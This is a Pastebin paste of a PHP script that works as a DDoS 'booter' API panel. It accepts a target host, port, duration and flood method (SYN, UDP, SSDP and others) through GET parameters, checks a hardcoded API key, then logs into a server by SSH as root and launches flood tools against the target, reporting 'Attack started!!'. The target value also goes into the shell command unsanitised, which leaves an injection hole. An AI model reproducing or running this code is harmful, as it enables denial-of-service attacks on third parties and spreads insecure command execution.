daily pastebin goal
66%
SHARE
TWEET

Untitled

a guest Oct 3rd, 2017 62 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. ignore_user_abort(true);
  4. set_time_limit(0);
  5.  
  6. $server_ip = "";
  7. $server_pass = "";
  8. $server_user = "root";
  9.  
  10. $key = $_GET['key'];
  11. $host = $_GET['host'];
  12. $port = intval($_GET['port']);
  13. $time = intval($_GET['time']);
  14. $method = $_GET['method'];
  15. $action = $_GET['action'];
  16.  
  17.  
  18. $array = array("ZAP", "DOMINATE", "ESSYN", "SSYN", "TCP-ACK", "WIZARD", "XSYN", "VSE", "HOME", "UDP", "SSDP", "STOP");
  19. $ray = array("6170-5022-3077-0553");
  20.  
  21. if (!empty($key)){
  22. }else{
  23. die('Error: API key is empty!');}
  24.  
  25. if (in_array($key, $ray)){
  26. }else{
  27. die('Error: Incorrect API key!');}
  28.  
  29. if (!empty($time)){
  30. }else{
  31. die('Error: time is empty!');}
  32.  
  33. if (!empty($host)){
  34. }else{
  35. die('Error: Host is empty!');}
  36.  
  37. if (!empty($method)){
  38. }else{
  39. die('Error: Method is empty!');}
  40.  
  41. if (in_array($method, $array)){
  42. }else{
  43. die('Error: The method you requested does not exist!');}
  44.  
  45. if ($port > 44405){
  46. die('Error: Ports over 44405 do not exist');}
  47.              
  48. if ($time > 1800){
  49. die('Error: Cannot exceed more than 1800 seconds!');}
  50.  
  51. if(ctype_digit($Time)){
  52. die('Error: Time is not in numeric form!');}
  53.  
  54. if(ctype_digit($Port)){
  55. die('Error: Port is not in numeric form!');}
  56.  
  57. if ($method == "ZAP") { $command = "screen -dm /root/elite/zap $host $port 100 -1 $time"; }
  58. if ($method == "DOMINATE") { $command = "screen -dm /root/elite/dominate $host $port 100 -1 $time"; }
  59. if ($method == "ESSYN") { $command = "screen -dm /root/elite/essyn $host $port 100 -1 $time"; }
  60. if ($method == "SSYN") { $command = "screen -dm /root/elite/ssyn $host $port 100 -1 $time"; }
  61. if ($method == "TCP-ACK") { $command = "screen -dm /root/elite/tcp-ack $host 100 -1 $time"; }
  62. if ($method == "WIZARD") { $command = "screen -dm /root/elite/wizard $host $port 100 -1 $time"; }
  63. if ($method == "XSYN") { $command = "screen -dm /root/elite/xsyn $host $port 100 -1 $time"; }
  64. if ($method == "VSE") { $command = "screen -dm /root/elite/vse $host 100 -1 $time"; }
  65. if ($method == "HOME") { $command = "screen -dm /root/elite/home $host $port -1 100 $time"; }
  66. if ($method == "UDP") { $command = "screen -dm /root/elite/udp $host $port 100 -1 $time"; }
  67. if ($method == "SSDP") { $command = "screen -dm /root/elite/ssdp $host $port list.txt 150 -1 $time"; }
  68. if ($method == "STOP") { $command = "pkill $host -f"; }
  69.  
  70. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  71. if(!($con = ssh2_connect($server_ip, 22))){
  72.   echo "Error: Connection Issue";
  73. } else {
  74.  
  75.     if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  76.         echo "Error: Login failed, one or more of you're server credentials are incorect.";
  77.     } else {
  78.        
  79.  
  80.         if (!($stream = ssh2_exec($con, $command ))) {
  81.             echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  82.         } else {
  83.      
  84.             stream_set_blocking($stream, false);
  85.             $data = "";
  86.             while ($buf = fread($stream,4096)) {
  87.                 $data .= $buf;
  88.             }
  89.                         echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
  90.             fclose($stream);
  91.         }
  92.     }
  93. }
  94. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top